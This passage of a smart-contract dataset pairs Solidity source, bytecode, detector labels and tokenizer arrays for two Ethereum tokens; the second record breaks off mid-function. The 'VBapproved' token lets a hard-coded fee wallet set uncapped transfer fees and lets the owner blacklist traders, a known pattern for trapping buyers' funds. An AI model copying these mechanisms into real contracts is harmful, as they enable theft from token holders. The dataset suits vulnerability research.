90565b600081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561087357600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415151561089957600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156108e757600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461097983600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b11151561098557600080fd5b6109d782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6c82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3e82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d71576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e05565b610d84838261169490919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ff65780601f10610fcb57610100808354040283529160200191610ff6565b820191906000526020600020905b815481529060010190602001808311610fd957829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110df5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110dc83600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b10155b15156110ea57600080fd5b61113c82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d182600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061131482600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60056020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115b657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015151561168a57fe5b8091505092915050565b60008282111515156116a257fe5b8183039050929150505600a165627a7a72305820b78a1fca2f9d4b85b8916c5daa560cdfb9da0cbec320d49190f1fdfe6191918a0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 25062, 20842, 2629, 2094, 2683, 2546, 2850, 2549, 4402, 2581, 2620, 14526, 23833, 2050, 2575, 2581, 2487, 2050, 2692, 27531, 2063, 2487, 2278, 2549, 12879, 2094, 2692, 2546, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,479
0x96ddcf85c3798f01dae5212c6984f9cc467111f6
pragma solidity ^0.4.18; /* Overflow protected math functions */ contract SafeMath { /** constructor */ function SafeMath() public { } /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) pure internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) pure internal returns (uint256) { assert(_x >= _y); return _x - _y; } /** @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) pure internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } // Token standard API // https://github.com/ethereum/EIPs/issues/20 contract iERC20Token { function totalSupply() public constant returns (uint supply); function balanceOf( address who ) public constant returns (uint value); function allowance( address owner, address spender ) public constant returns (uint remaining); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract ReverseRegistrar { function claim(address owner) public returns (bytes32 node); } contract SimpleSaleToken is iERC20Token, SafeMath { event PaymentEvent(address indexed from, uint amount); event TransferEvent(address indexed from, address indexed to, uint amount); event ApprovalEvent(address indexed from, address indexed to, uint amount); string public symbol; string public name; bool public isLocked; uint public decimals; uint public tokenPrice; uint tokenSupply; uint tokensRemaining; uint public contractSendGas = 100000; address public owner; address public beneficiary; mapping (address => uint) balances; mapping (address => mapping (address => uint)) approvals; //transfer approvals, from -> to // namehash('addr.reverse') //bytes32 constant ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; address constant ENS_REVERSE_REGISTRAR = 0x9062C0A6Dbd6108336BcBe4593a3D1cE05512069; modifier ownerOnly { require(msg.sender == owner); _; } modifier unlockedOnly { require(!isLocked); _; } modifier duringSale { require(tokenPrice != 0 && tokensRemaining > 0); _; } //this is to protect from short-address attack. use this to verify size of args, especially when an address arg preceeds //a value arg. see: https://www.reddit.com/r/ethereum/comments/63s917/worrysome_bug_exploit_with_erc20_token/dfwmhc3/ modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } // //constructor // function SimpleSaleToken() public { owner = msg.sender; beneficiary = msg.sender; //so we can set a name //ReverseRegistrar registrar = ReverseRegistrar(ens.owner(ADDR_REVERSE_NODE)); //registrar.claim(msg.sender); ReverseRegistrar(ENS_REVERSE_REGISTRAR).claim(msg.sender); } // // ERC-20 // function totalSupply() public constant returns (uint supply) { //if tokenSupply was not limited then we would use safeAdd... supply = tokenSupply + tokensRemaining; } function transfer(address _to, uint _value) public onlyPayloadSize(2*32) returns (bool success) { //prevent wrap if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; TransferEvent(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3*32) public returns (bool success) { //prevent wrap: if (balances[_from] >= _value && approvals[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value; approvals[_from][msg.sender] -= _value; TransferEvent(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint balance) { balance = balances[_owner]; } function approve(address _spender, uint _value) public onlyPayloadSize(2*32) returns (bool success) { approvals[msg.sender][_spender] = _value; ApprovalEvent(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return approvals[_owner][_spender]; } // // END ERC20 // // // default payable function. // function () public payable duringSale { uint _quantity = msg.value / tokenPrice; if (_quantity > tokensRemaining) _quantity = tokensRemaining; require(_quantity >= 1); uint _cost = safeMul(_quantity, tokenPrice); uint _refund = safeSub(msg.value, _cost); balances[msg.sender] = safeAdd(balances[msg.sender], _quantity); tokenSupply = safeAdd(tokenSupply, _quantity); tokensRemaining = safeSub(tokensRemaining, _quantity); if (_refund > 0) msg.sender.transfer(_refund); PaymentEvent(msg.sender, msg.value); } function setName(string _name, string _symbol) public ownerOnly { name = _name; symbol = _symbol; } //if decimals = 3, and you want 1 ETH/token, then pass in _tokenPrice = 0.001 * (wei / ether) function setBeneficiary(address _beneficiary, uint _decimals, uint _tokenPrice, uint _tokensRemaining) public ownerOnly unlockedOnly { beneficiary = _beneficiary; decimals = _decimals; tokenPrice = _tokenPrice; tokensRemaining = _tokensRemaining; } function lock() public ownerOnly { require(beneficiary != 0 && tokenPrice != 0); isLocked = true; } function endSale() public ownerOnly { require(beneficiary != 0); //beneficiary is most likely a contract... if (!beneficiary.call.gas(contractSendGas).value(this.balance)()) revert(); tokensRemaining = 0; } function tune(uint _contractSendGas) public ownerOnly { contractSendGas = _contractSendGas; } //for debug //only available before the contract is locked function haraKiri() public ownerOnly unlockedOnly { selfdestruct(owner); } }
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610257578063095ea7b3146102e157806318160ddd1461031757806323b872dd1461033c578063313ce56714610364578063380d831b1461037757806338af3eed1461038c5780633a7343ba146103bb5780635c707f07146103e357806370a08231146104765780637ff9b596146104955780638da5cb5b146104a857806395d89b41146104bb578063a4e2d634146104ce578063a9059cbb146104e1578063becda0ea14610503578063c405255914610519578063d1b648cd1461052c578063dd62ed3e1461053f578063f83d08ba14610564575b600080600060045460001415801561012b57506000600654115b151561013657600080fd5b6004543481151561014357fe5b0492506006548311156101565760065492505b600183101561016457600080fd5b61017083600454610577565b915061017c34836105a6565b600160a060020a0333166000908152600a60205260409020549091506101a290846105b8565b600160a060020a0333166000908152600a60205260409020556005546101c890846105b8565b6005556006546101d890846105a6565b600655600081111561021557600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561021557600080fd5b33600160a060020a03167ff7130aabb9c9cca18a579bcff1de84054de1ca07680f60eae1510bae7788f8193460405190815260200160405180910390a2505050005b341561026257600080fd5b61026a6105c7565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102a657808201518382015260200161028e565b50505050905090810190601f1680156102d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102ec57600080fd5b610303600160a060020a0360043516602435610665565b604051901515815260200160405180910390f35b341561032257600080fd5b61032a6106de565b60405190815260200160405180910390f35b341561034757600080fd5b610303600160a060020a03600435811690602435166044356106e8565b341561036f57600080fd5b61032a61080b565b341561038257600080fd5b61038a610811565b005b341561039757600080fd5b61039f61087f565b604051600160a060020a03909116815260200160405180910390f35b34156103c657600080fd5b61038a600160a060020a036004351660243560443560643561088e565b34156103ee57600080fd5b61038a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506108f595505050505050565b341561048157600080fd5b61032a600160a060020a036004351661093c565b34156104a057600080fd5b61032a610957565b34156104b357600080fd5b61039f61095d565b34156104c657600080fd5b61026a61096c565b34156104d957600080fd5b6103036109d7565b34156104ec57600080fd5b610303600160a060020a03600435166024356109e0565b341561050e57600080fd5b61038a600435610aad565b341561052457600080fd5b61038a610acd565b341561053757600080fd5b61032a610b06565b341561054a57600080fd5b61032a600160a060020a0360043581169060243516610b0c565b341561056f57600080fd5b61038a610b37565b6000828202831580610593575082848281151561059057fe5b04145b151561059b57fe5b8091505b5092915050565b6000818310156105b257fe5b50900390565b60008282018381101561059b57fe5b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561065d5780601f106106325761010080835404028352916020019161065d565b820191906000526020600020905b81548152906001019060200180831161064057829003601f168201915b505050505081565b60006040604436101561067457fe5b600160a060020a033381166000818152600b6020908152604080832094891680845294909152908190208690557f08245b82180b1f5e514e503c113ab0197093b2cb542145037c0a31b54b1d998e9086905190815260200160405180910390a35060019392505050565b6006546005540190565b6000606060643610156106f757fe5b600160a060020a0385166000908152600a60205260409020548390108015906107475750600160a060020a038086166000908152600b602090815260408083203390941683529290522054839010155b801561076c5750600160a060020a0384166000908152600a6020526040902054838101115b156107fe57600160a060020a038086166000818152600a602090815260408083208054899003905588851680845281842080548a019055848452600b83528184203390961684529490915290819020805487900390557feaf1c4b3ce0f4f62a2bae7eb3e68225c75f7e6ff4422073b7437b9a78d25f1709086905190815260200160405180910390a360019150610803565b600091505b509392505050565b60035481565b60085433600160a060020a0390811691161461082c57600080fd5b600954600160a060020a0316151561084357600080fd5b600954600754600160a060020a0391821691301631604051600060405180830381858888f19350505050151561087857600080fd5b6000600655565b600954600160a060020a031681565b60085433600160a060020a039081169116146108a957600080fd5b60025460ff16156108b957600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039590951694909417909355600391909155600455600655565b60085433600160a060020a0390811691161461091057600080fd5b6001828051610923929160200190610b87565b506000818051610937929160200190610b87565b505050565b600160a060020a03166000908152600a602052604090205490565b60045481565b600854600160a060020a031681565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561065d5780601f106106325761010080835404028352916020019161065d565b60025460ff1681565b6000604060443610156109ef57fe5b600160a060020a0333166000908152600a6020526040902054839010801590610a315750600160a060020a0384166000908152600a6020526040902054838101115b15610aa457600160a060020a033381166000818152600a60205260408082208054889003905592871680825290839020805487019055917feaf1c4b3ce0f4f62a2bae7eb3e68225c75f7e6ff4422073b7437b9a78d25f1709086905190815260200160405180910390a36001915061059f565b6000915061059f565b60085433600160a060020a03908116911614610ac857600080fd5b600755565b60085433600160a060020a03908116911614610ae857600080fd5b60025460ff1615610af857600080fd5b600854600160a060020a0316ff5b60075481565b600160a060020a039182166000908152600b6020908152604080832093909416825291909152205490565b60085433600160a060020a03908116911614610b5257600080fd5b600954600160a060020a031615801590610b6d575060045415155b1515610b7857600080fd5b6002805460ff19166001179055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610bc857805160ff1916838001178555610bf5565b82800160010185558215610bf5579182015b82811115610bf5578251825591602001919060010190610bda565b50610c01929150610c05565b5090565b610c1f91905b80821115610c015760008155600101610c0b565b905600a165627a7a7230582096a01d7f2a3dd4114cc47098e90e8108e443e97fbf9a883950cc6bd2195501080029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 14141, 2278, 2546, 27531, 2278, 24434, 2683, 2620, 2546, 24096, 6858, 25746, 12521, 2278, 2575, 2683, 2620, 2549, 2546, 2683, 9468, 21472, 2581, 14526, 2487, 2546, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 2058, 12314, 5123, 8785, 4972, 1008, 1013, 3206, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 9570, 2953, 1008, 1013, 3853, 3647, 18900, 2232, 1006, 1007, 2270, 1063, 1065, 1013, 1008, 1008, 1030, 16475, 5651, 1996, 7680, 1997, 1035, 1060, 1998, 1035, 1061, 1010, 19514, 2065, 1996, 17208, 2058, 12314, 2015, 1030, 11498, 2213, 1035, 1060, 3643, 1015, 1030, 11498, 2213, 1035, 1061, 3643, 1016, 1030, 2709, 7680, 1008, 1013, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 17788, 2575, 1035, 1060, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,480
0x96de5b6bf31a1137a7b77a77db04e0e493ec1e7d
/** * * https://t.me/VBapproved **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract VBapproved is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xacF58D26AB8d04768958aA39CB761da33ebBe60B); address payable private _feeAddrWallet2 = payable(0x33E5D669C403efA807f8a6FB1a4B057eaC79cb6C); string private constant _name = "VB Approved"; string private constant _symbol = "VBRIP"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 